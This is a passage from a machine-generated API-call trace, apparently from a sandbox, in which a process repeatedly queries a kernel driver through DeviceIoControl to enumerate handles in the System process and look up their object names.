ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.983] ObReferenceObjectByHandle (in: Handle=0xffffffff800001bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f10050, HandleInformation=0x0) returned 0x0 [0134.983] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.983] PsReleaseProcessExitSynchronization () returned 0x2 [0134.983] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.983] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.983] ObfDereferenceObject (Object=0xfffffa8002f10050) returned 0x1 [0134.983] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.983] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.983] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0134.983] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.983] PsAcquireProcessExitSynchronization () returned 0x0 [0134.983] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.983] ObReferenceObjectByHandle (in: Handle=0xffffffff800001c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800296af20, HandleInformation=0x0) returned 0x0 [0134.983] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.983] PsReleaseProcessExitSynchronization () returned 0x2 [0134.983] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.983] ObQueryNameString (in: Object=0xfffffa800296af20, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.983] ObfDereferenceObject (Object=0xfffffa800296af20) returned 0x3 [0134.983] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.983] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.983] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0134.984] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.984] PsAcquireProcessExitSynchronization () returned 0x0 [0134.984] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.984] ObReferenceObjectByHandle (in: Handle=0xffffffff800001c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f25720, HandleInformation=0x0) returned 0x0 [0134.984] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.984] PsReleaseProcessExitSynchronization () returned 0x2 [0134.984] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.984] ObQueryNameString (in: Object=0xfffffa8002f25720, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0134.984] ObfDereferenceObject (Object=0xfffffa8002f25720) returned 0x1 [0134.984] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.984] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.984] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0134.984] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.984] PsAcquireProcessExitSynchronization () returned 0x0 [0134.984] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.984] ObReferenceObjectByHandle (in: Handle=0xffffffff800001cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80019179c0, HandleInformation=0x0) returned 0x0 [0134.984] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.984] PsReleaseProcessExitSynchronization () returned 0x2 [0134.984] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.984] ObQueryNameString (in: Object=0xfffffa80019179c0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.984] ObfDereferenceObject (Object=0xfffffa80019179c0) returned 0x2 [0134.984] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.984] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.984] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0134.985] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.985] PsAcquireProcessExitSynchronization () returned 0x0 [0134.985] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.985] ObReferenceObjectByHandle (in: Handle=0xffffffff800001d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f29260, HandleInformation=0x0) returned 0x0 [0134.985] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.985] PsReleaseProcessExitSynchronization () returned 0x2 [0134.985] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.985] ObQueryNameString (in: Object=0xfffffa8002f29260, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.985] ObfDereferenceObject (Object=0xfffffa8002f29260) returned 0x2 [0134.985] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.985] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.985] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.985] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0134.985] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.985] PsAcquireProcessExitSynchronization () returned 0x0 [0134.985] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.985] ObReferenceObjectByHandle (in: Handle=0xffffffff800001d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800c0d0f20, HandleInformation=0x0) returned 0x0 [0134.985] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.985] PsReleaseProcessExitSynchronization () returned 0x2 [0134.985] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.985] ObQueryNameString (in: Object=0xfffffa800c0d0f20, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.985] ObfDereferenceObject (Object=0xfffffa800c0d0f20) returned 0x2 [0134.985] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.985] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.985] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.985] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0134.985] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.985] PsAcquireProcessExitSynchronization () returned 0x0 [0134.986] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.986] ObReferenceObjectByHandle (in: Handle=0xffffffff800001dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f10df0, HandleInformation=0x0) returned 0x0 [0134.986] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.986] PsReleaseProcessExitSynchronization () returned 0x2 [0134.986] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.986] ObQueryNameString (in: Object=0xfffffa8002f10df0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.986] ObfDereferenceObject (Object=0xfffffa8002f10df0) returned 0x2 [0134.986] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.986] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.986] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0134.986] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.986] PsAcquireProcessExitSynchronization () returned 0x0 [0134.986] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.986] ObReferenceObjectByHandle (in: Handle=0xffffffff800001e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f1f210, HandleInformation=0x0) returned 0x0 [0134.986] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.986] PsReleaseProcessExitSynchronization () returned 0x2 [0134.986] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.986] ObQueryNameString (in: Object=0xfffffa8002f1f210, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.986] ObfDereferenceObject (Object=0xfffffa8002f1f210) returned 0x1 [0134.986] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.986] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.986] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0134.986] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.986] PsAcquireProcessExitSynchronization () returned 0x0 [0134.986] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.986] ObReferenceObjectByHandle (in: Handle=0xffffffff800001e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f22d30, HandleInformation=0x0) returned 0x0 [0134.986] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.986] PsReleaseProcessExitSynchronization () returned 0x2 [0134.986] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.987] ObQueryNameString (in: Object=0xfffffa8002f22d30, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.987] ObfDereferenceObject (Object=0xfffffa8002f22d30) returned 0x2 [0134.987] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.987] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.987] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xb8, lpOverlapped=0x0) returned 1 [0134.987] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.987] PsAcquireProcessExitSynchronization () returned 0x0 [0134.987] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.987] ObReferenceObjectByHandle (in: Handle=0xffffffff800001f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f1d050, HandleInformation=0x0) returned 0x0 [0134.987] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.987] PsReleaseProcessExitSynchronization () returned 0x2 [0134.987] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.987] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473508) returned 0x0 [0135.044] ObfDereferenceObject (Object=0xfffffa8002f1d050) returned 0x21 [0135.044] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.044] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.044] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.044] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0135.044] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.045] PsAcquireProcessExitSynchronization () returned 0x0 [0135.045] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.045] ObReferenceObjectByHandle (in: Handle=0xffffffff800001f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800282f560, HandleInformation=0x0) returned 0x0 [0135.045] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.045] PsReleaseProcessExitSynchronization () returned 0x2 [0135.045] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.045] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0135.045] ObfDereferenceObject (Object=0xfffffa800282f560) returned 0x1 [0135.045] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.045] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.045] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.045] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0135.045] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.045] PsAcquireProcessExitSynchronization () returned 0x0 [0135.045] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.045] ObReferenceObjectByHandle (in: Handle=0xffffffff800001fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002fef2b0, HandleInformation=0x0) returned 0x0 [0135.045] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.045] PsReleaseProcessExitSynchronization () returned 0x2 [0135.045] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.045] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473508) returned 0x0 [0135.045] ObfDereferenceObject (Object=0xfffffa8002fef2b0) returned 0x1 [0135.045] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.045] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.045] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.045] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0135.045] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.045] PsAcquireProcessExitSynchronization () returned 0x0 [0135.045] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.045] ObReferenceObjectByHandle (in: Handle=0xffffffff80000200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002ee1d40, HandleInformation=0x0) returned 0x0 [0135.045] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.045] PsReleaseProcessExitSynchronization () returned 0x2 [0135.045] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.046] ObQueryNameString (in: Object=0xfffffa8002ee1d40, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.046] ObfDereferenceObject (Object=0xfffffa8002ee1d40) returned 0x1 [0135.046] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.046] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.046] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0135.046] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.046] PsAcquireProcessExitSynchronization () returned 0x0 [0135.046] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.046] ObReferenceObjectByHandle (in: Handle=0xffffffff80000204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002ee4f20, HandleInformation=0x0) returned 0x0 [0135.046] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.046] PsReleaseProcessExitSynchronization () returned 0x2 [0135.046] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.046] ObQueryNameString (in: Object=0xfffffa8002ee4f20, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.046] ObfDereferenceObject (Object=0xfffffa8002ee4f20) returned 0x1 [0135.046] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.046] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.046] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0135.046] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.046] PsAcquireProcessExitSynchronization () returned 0x0 [0135.046] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.046] ObReferenceObjectByHandle (in: Handle=0xffffffff80000210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002ff1610, HandleInformation=0x0) returned 0x0 [0135.046] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.046] PsReleaseProcessExitSynchronization () returned 0x2 [0135.046] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.046] ObQueryNameString (in: Object=0xfffffa8002ff1610, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.046] ObfDereferenceObject (Object=0xfffffa8002ff1610) returned 0x1 [0135.046] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.046] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.046] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0135.047] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.047] PsAcquireProcessExitSynchronization () returned 0x0 [0135.047] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.047] ObReferenceObjectByHandle (in: Handle=0xffffffff80000214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002eee850, HandleInformation=0x0) returned 0x0 [0135.047] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.047] PsReleaseProcessExitSynchronization () returned 0x2 [0135.047] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.047] ObQueryNameString (in: Object=0xfffffa8002eee850, 